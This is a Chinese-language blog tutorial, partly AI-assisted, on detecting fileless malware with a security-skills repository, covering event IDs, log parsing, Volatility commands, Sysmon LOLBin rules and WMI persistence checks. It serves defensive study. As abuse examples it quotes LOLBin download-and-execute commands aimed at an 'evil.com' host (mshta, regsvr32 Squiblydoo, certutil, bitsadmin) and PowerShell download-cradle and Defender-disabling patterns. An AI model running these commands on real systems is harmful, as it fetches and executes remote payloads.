Anthropic-Cybersecurity-Skills 实战指南:Fileless 恶意软件检测 API 参考与落地实现

📅 发布时间:2026/9/13 1:09:25
Anthropic-Cybersecurity-Skills 实战指南:Fileless 恶意软件检测 API 参考与落地实现
Anthropic-Cybersecurity-Skills 实战指南Fileless 恶意软件检测 API 参考与落地实现【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-SkillsFileless无文件恶意软件完全驻留于内存或寄生在 PowerShell、WMI、.NET 反射、注册表载荷与 LOLBins 等合法系统机制中几乎不在磁盘上留下传统可执行文件。本文以 Anthropic-Cybersecurity-Skills 仓库中的 detecting-fileless-malware-techniques 技能为骨架完整讲解其 API 参考文档 中的核心检测参数——关键 Windows 事件 ID、python-evtx 日志解析、Volatility 3 内存取证命令、Sysmon LOLBin 监控规则、可疑 PowerShell 指标与 WMI 持久化检查并结合仓库内的 agent.py 自动化脚本展示从日志扫描到报告生成的全链路落地方法。读完本文你将掌握一套可直接复用的无文件恶意软件检测工具箱与取证工作流。检测无文件威胁的关键 Windows 事件 ID无文件攻击的每一步脚本执行、进程注入、WMI 持久化、服务安装都会在 Windows 事件日志中留下痕迹。API 参考文档给出了一张核心事件 ID 速查表是构建检测规则的第一手素材Event ID日志来源说明4104PowerShell Operational脚本块日志Script Block Logging记录去混淆后的完整脚本内容4103PowerShell Operational模块日志Module Logging1Sysmon进程创建含完整命令行8SysmonCreateRemoteThread远程线程注入10SysmonProcessAccess注入前的进程访问19/20/21SysmonWMI 事件筛选器 / 事件消费者 / 筛选器与消费者的绑定7045System系统安装了新服务其中Event ID 4104是 PowerShell 无文件检测的基石Script Block Logging 记录的是脚本去混淆后的完整内容攻击者常用的-encBase64 编码、字符串拼接等混淆手段在 4104 事件中会以可读形式暴露。而 Sysmon 的 19/20/21 三个事件分别对应 WMI 持久化的三要素Filter → Consumer → Binding是 Step 2 检测 WMI 持久化 的日志依据。前置条件提醒来自 SKILL.md务必提前启用 PowerShell Script Block Logging 与 Module Logging、部署并配置 Sysmon覆盖进程创建、WMI 事件、注册表变更、保留足够时长的 Windows 事件日志并准备 Volatility 3、Process MonitorProcMon、Autoruns 等工具——否则事后无法回溯无文件攻击轨迹。用 python-evtx 解析事件日志从 EVTX 中提取 4104 脚本内容事件日志的取证解析通常不依赖图形化事件查看器而是直接读取.evtx文件。API 参考文档给出了最精简的 python-evtx 用法遍历日志记录、匹配 EventID 并输出 XML 片段。import Evtx.Evtx as evtx with evtx.Evtx(Security.evtx) as log: for record in log.records(): xml record.xml() if EventID4104/EventID in xml: print(record.timestamp(), xml[:500])仓库中的 agent.py 将这个思路工业化实现了对Microsoft-Windows-PowerShell%4Operational.evtx的自动扫描scan_powershell_logs()逐个记录检查EventID4104/EventID然后对脚本内容执行 14 条可疑模式正则匹配见下文PowerShell 可疑指标命中即输出事件时间戳、检测类型与 XML 片段且通过try/except跳过损坏记录以增强健壮性agent.py。运行方式agent.py# 完整报告含 PowerShell 扫描、LOLBin 扫描、WMI 与注册表持久化检查 python3 agent.py report # 仅扫描 PowerShell 日志可指定自定义 EVTX 目录 python3 agent.py powershell /path/to/logs # 仅扫描 Sysmon LOLBin 进程创建 python3 agent.py lolbinsVolatility 3 内存取证捕捉只在内存中的恶意代码无文件恶意代码唯一的藏身之处就是内存因此内存取证是决定性的一环。API 参考文档提供的 Volatility 3 命令覆盖了从发现到提取的完整流程# 检测注入代码RWX 内存、非镜像 VAD 中的 PE 头 vol3 -f memory.dmp windows.malfind # 列出进程 vol3 -f memory.dmp windows.pslist # 扫描隐藏进程 vol3 -f memory.dmp windows.psscan # 列出已加载的 DLL vol3 -f memory.dmp windows.dlllist --pid 1234 # 提取注入代码 vol3 -f memory.dmp windows.malfind --dump --pid 1234各命令的取证语义与用途如下windows.malfind核心命令。它会识别具有 RWX读-写-执行权限的内存区域、以及在非镜像 VADVirtual Address Descriptor中出现的 PE 头——这是进程注入与反射加载的标志性特征windows.pslist / windows.psscan前者基于内核链表列出进程后者通过池扫描Pool Scanning找出被隐藏或终止后残留的进程对象两者配合可识别 rootkit 隐藏进程windows.dlllist --pid N核对目标进程如 powershell.exe实际加载的模块列表排查反射加载、未映射到磁盘文件的 .NET 程序集windows.malfind --dump --pid N将可疑内存区域导出为文件供后续静态逆向分析。在 SKILL.md 的 Step 4 中这一步骤被进一步扩展使用windows.vadinfo --pid 4012 | grep -i PAGE_EXECUTE定位具备执行权限的 VAD用windows.cmdline | grep -i powershell识别 PowerShell CLR 活动还可以通过 YARA 规则直接扫描内存中的无文件框架特征如System.Reflection.Assembly、[System.Convert]::FromBase64String、Invoke-Expression、DownloadString。agent.py 中的run_volatility_malfind()封装了对内存镜像的 malfind 调用并处理了 vol3 未安装、超时等异常情况。Sysmon LOLBin 监控白名单二进制滥用检测LOLBinLiving Off the Land Binary指被攻击者滥用的合法系统二进制文件。由于它们本身在应用白名单内传统文件扫描完全失效必须通过 Sysmon 进程创建事件Event ID 1结合命令行参数进行行为检测。API 参考文档提供的 Sysmon 配置片段覆盖了最常被滥用的六个二进制!-- Sysmon config for LOLBin monitoring -- RuleGroup groupRelationor ProcessCreate onmatchinclude Image conditionend withmshta.exe/Image Image conditionend withregsvr32.exe/Image Image conditionend withcertutil.exe/Image Image conditionend withwmic.exe/Image Image conditionend withcmstp.exe/Image Image conditionend withmsbuild.exe/Image /ProcessCreate /RuleGrouponmatchinclude语义是命中即采集因此该规则会完整记录上述进程的每次创建及其完整命令行为后续规则匹配提供原始数据。SKILL.md 的 Step 1 进一步给出了每个二进制的具体滥用模式与检测要点LOLBin典型滥用方式检测要点mshta.exe执行内嵌 VBScript/JScript 的 HTAmshta http://evil.com/payload.hta或mshta vbscript:Execute(...)命令行出现 URL 参数或vbscript:前缀regsvr32.exe通过 COM 加载脚本Squiblydooregsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll命令行含/i:URL 参数certutil.exe下载文件、Base64 解码certutil -urlcache -split -f http://...或-decode命令行含-urlcache或-decoderundll32.exe执行 DLL 导出函数或内联 JavaScript命令行含javascript:参数wmic.exe通过 XSL 样式表执行代码wmic process get brief /format:http://...命令行含/format:URL 参数bitsadmin.exe通过 BITS 服务下载文件bitsadmin /transfer job http://... C:\Temp\p.exe命令行含/transfer或/addfile指向外部 URLcmstp.exe通过 INF 文件执行命令cmstp.exe /ni /s payload.inf从非标准路径执行agent.py 内置了一个扩展版 LOLBIN 清单除上述条目外还涵盖installutil.exe、regasm.exe、wscript.exe、cscript.exe并为每个二进制标注风险等级HIGH / MEDIUM / CONTEXT与已知滥用方式scan_sysmon_for_lolbins()会遍历Microsoft-Windows-Sysmon%4Operational.evtx中的 Event ID 1 记录并逐个匹配agent.py。PowerShell 可疑指标清单脚本日志的快速判别基线PowerShell 是无文件攻击最核心的执行引擎而 4104 事件中的脚本内容往往是恶意行为的第一现场。API 参考文档提供了一份可直接用作正则基线的指标清单-enc / -EncodedCommand → Base64-encoded command IEX / Invoke-Expression → Dynamic code execution Net.WebClient → Download cradle DownloadString() → Remote script fetch Reflection.Assembly → Reflective .NET loading VirtualAlloc → Shellcode allocation FromBase64String → Payload decodingagent.py 在此基础上扩充为 14 条可执行正则并附带了命中语义注释SUSPICIOUS_PS_PATTERNS [ (r-enc\s, Encoded command execution), (rIEX\s*\(, Invoke-Expression (download cradle)), (rInvoke-Expression, Invoke-Expression), (rNet\.WebClient, WebClient download), (rDownloadString\(, Remote script download), (rDownloadFile\(, File download), (rFromBase64String, Base64 decoding), (rReflection\.Assembly, .NET reflection loading), (r\[System\.Convert\], Type conversion (possible decode)), (rNew-Object\sIO\.MemoryStream, In-memory stream (reflective load)), (rVirtualAlloc, Memory allocation (shellcode)), (rCreateThread, Thread creation (injection)), (rAdd-MpPreference.*ExclusionPath, Defender exclusion modification), (rSet-MpPreference.*DisableRealtimeMonitoring, Defender disablement), ]值得注意的两类补充模式IO.MemoryStream暗示在内存中构建字节流进行反射加载Add/Set-MpPreference则指向防御规避——攻击者先关闭或弱化 Windows Defender 再执行载荷。实际告警日志中-enc编码执行、DownloadString远程脚本拉取与Reflection.Assembly反射加载三类指标的组合出现几乎可以确定是一次标准的无文件感染链。WMI 持久化检查枚举事件订阅三要素WMI 事件订阅是无文件攻击最经典的持久化手段由__EventFilter触发条件、__EventConsumer执行动作、__FilterToConsumerBinding绑定关系三个对象组成可跨重启存活且不落盘。API 参考文档提供了最直接的枚举方法# List WMI event subscriptions Get-WMIObject -Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __EventConsumer Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding在 SKILL.md 的 Step 2 中枚举被细化到具体消费者类型# WMI 命令行枚举wmic wmic /namespace:\\root\subscription path __EventFilter get Name,Query /format:list wmic /namespace:\\root\subscription path CommandLineEventConsumer get Name,CommandLineTemplate /format:list wmic /namespace:\\root\subscription path ActiveScriptEventConsumer get Name,ScriptText /format:list wmic /namespace:\\root\subscription path __FilterToConsumerBinding get Filter,Consumer /format:list实际排查时优先关注两类消费者CommandLineEventConsumer其CommandLineTemplate常直接包含powershell.exe -nop -w hidden -enc ...和ActiveScriptEventConsumer其ScriptText内嵌完整恶意脚本。agent.py 的scan_wmi_persistence()通过调用Get-WMIObject ... -Class __EventFilter | Select-Object Name, Query | ConvertTo-Json自动收集筛选器列表并将结果结构化输出。同时SKILL.md 还给出了一段基于wevtutilxml.etree的 WMI 事件解析脚本查询 Sysmon 日志中 Event ID 19/20/21 的 XML 记录分别提取筛选器名称与查询语句19、消费者名称/类型/目标20、消费者与筛选器的绑定关系21实现 WMI 持久化创建行为的实时告警。注册表驻留载荷排查部分无文件恶意软件将编码后的载荷通常是 Base64 的 PowerShell 脚本或 .NET 程序集存放在注册表值中由 Run 键下的短小加载器执行。SKILL.md 的 Step 3 提供了命令行与 Python 两套排查手段# 检查常见自启动注册表位置 reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /s reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run /s reg query HKCU\Environment /s # 在注册表中搜索 PowerShell 编码命令特征 reg query HKCU\Software /s /f powershell 2nul reg query HKCU\Software /s /f -enc 2nulPython 侧则用winreg递归遍历HKCU\Software与HKLM\Software深度 3 层对长度超过 500 字符的字符串值做 Base64 解码探测并匹配powershell/invoke/iex/-enc关键字SKILL.md。agent.py 中的scan_registry_run_keys()则检查 HKLM/HKCU 的 Run 与 RunOnce 键将其中出现的 LOLBin 名称标记为 HIGH 风险持久化项。构建检测规则Sigma 规则与完整攻击链还原有了事件 ID、日志来源与模式指标即可沉淀为可复用的检测内容。SKILL.md 的 Step 5 给出了两条 Sigma 规则第一条将 LOLBin 执行与网络参数关联mshta匹配http/vbscript:/javascript:certutil匹配-urlcache/-decoderegsvr32匹配/i:httpwmic匹配/format:http第二条直接以 Sysmon Event ID 19/20/21 作为 WMI 持久化的检测信号。Sigma 规则可无缝转换到 Splunk、Elastic 等 SIEM 平台是 API 参考文档中事件 ID 表格的直接消费场景。检测之外还原攻击链才能指导处置。SKILL.md 的 Step 6 将无文件攻击划分为六个阶段Phase 1 - Initial Access: 钓鱼宏 - mshta.exe/PowerShellLOLBin 滥用或 Web 漏洞 - regsvr32/certutil 下载 scriptlet Phase 2 - Execution: PowerShell 内存中执行脚本.NET Assembly.Load() 反射加载WMI 创建进程横向移动 Phase 3 - Persistence: WMI 事件订阅跨重启存活、注册表存储编码载荷Run 键加载、计划任务执行内联 PowerShell Phase 4 - Privilege Escalation: 内存中 Invoke-Mimikatz 窃取凭据、WMI 命名管道模拟 Phase 5 - Lateral Movement: WMI 远程创建进程无需传文件、PowerShell 远程WinRM、PsExec 经 WMI Phase 6 - Exfiltration: PowerShell HTTP POST 至 C2、DNS 隧道、云存储 API 上传配合 SKILL.md 的 Output Format 示例最终输出应包含初始访问向量、LOLBin 调用链、持久化机制WMI 筛选器/消费者/命令、解码载荷分层、注册表载荷位置、内存工件注入的 .NET 程序集地址与 YARA 检测结果、提取的 IOC 及对应的 MITRE ATTCK 技术映射T1059.001 PowerShell、T1546.003 WMI 事件订阅、T1218.005 Mshta、T1112 修改注册表、T1055.012 进程镂空。该技能在仓库中的 ATTACK_COVERAGE.md 里与 T1546.003、T1055.012、T1112、T1218.005 四项技术建立映射同时在mitre_attack元数据中声明覆盖 T1027、T1055、T1140、T1497、T1547可据此在 attack-navigator-layer.json 中叠加可视化覆盖度。实战落地自动化检测脚本的调用与产出将上述能力串联起来就是仓库提供的完整检测代理 agent.py。其入口支持五个子命令agent.py# 一键生成完整检测报告PowerShell 扫描 LOLBin 扫描 WMI 注册表持久化 python3 agent.py report # 单独执行某一维度扫描 python3 agent.py powershell [log_dir] # PowerShell 脚本块日志扫描 python3 agent.py lolbins # Sysmon LOLBin 进程创建扫描 python3 agent.py wmi # WMI 事件订阅筛选器枚举 python3 agent.py registry # Run/RunOnce 注册表持久化检查 python3 agent.py malfind memory.dmp # 对内存镜像执行 Volatility malfind实现要点与本文前述内容一一对应依赖python-evtx可选缺失时返回错误信息而非崩溃默认日志目录为C:\Windows\System32\winevt\LogsPowerShell 日志文件为Microsoft-Windows-PowerShell%4Operational.evtxSysmon 日志为Microsoft-Windows-Sysmon%4Operational.evtx每次扫描结果限制返回前 50 条告警report模式输出 JSON 格式可直接对接下游告警平台或分析管线。常见场景与避坑要点SKILL.md 的场景示例 给出了一个典型调查流程Sysmon 告警显示 WMI 事件订阅创建后伴随周期性 PowerShell 执行、且磁盘上无对应恶意文件、攻击跨重启存活。处置步骤为① 枚举 WMI 命名空间中的事件筛选器/消费者/绑定定位持久化机制 → ② 提取 CommandLineEventConsumer 或 ActiveScriptEventConsumer 中的载荷 → ③ 解码 PowerShell 命令通常为-encBase64注意 UTF-16LE 编码→ ④ 回溯 4104 脚本块日志获取去混淆全文 → ⑤ 内存转储分析反射加载的程序集与注入代码 → ⑥ 检查注册表中被脚本引用的存储载荷 → ⑦ 还原完整攻击链。实践中容易踩的坑来自 SKILL.md 的 Pitfalls 部分事发前未开启 Sysmon WMI 事件日志19/20/21事后无法回溯持久化创建行为取证前重启系统——内存中的无文件证据随重启永久消失务必先抓内存转储只盯着文件型 IOC而攻击全程未落盘忽略初始访问痕迹——LOLBin 执行留下的日志极为稀疏需要主动搜索 Event ID 1 的命令行特征。小结本文以 api-reference.md 为骨架完整展开了无文件恶意软件检测所需的事件 ID 速查表、python-evtx 日志解析、Volatility 3 内存取证命令、Sysmon LOLBin 监控配置、PowerShell 可疑指标与 WMI 持久化检查六类核心 API/参数并以 SKILL.md 的六步工作流与 agent.py 的自动化实现作为落地佐证。这套方法适用于EDR 告警显示可信系统二进制出现可疑行为攻击不留传统文件WMI 订阅/注册表载荷/计划任务被用于持久化内存取证发现恶意代码但文件系统无对应文件等典型场景对于传统基于文件的恶意软件静态与动态分析仍是更合适的路径详见 SKILL.md 的适用范围说明。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考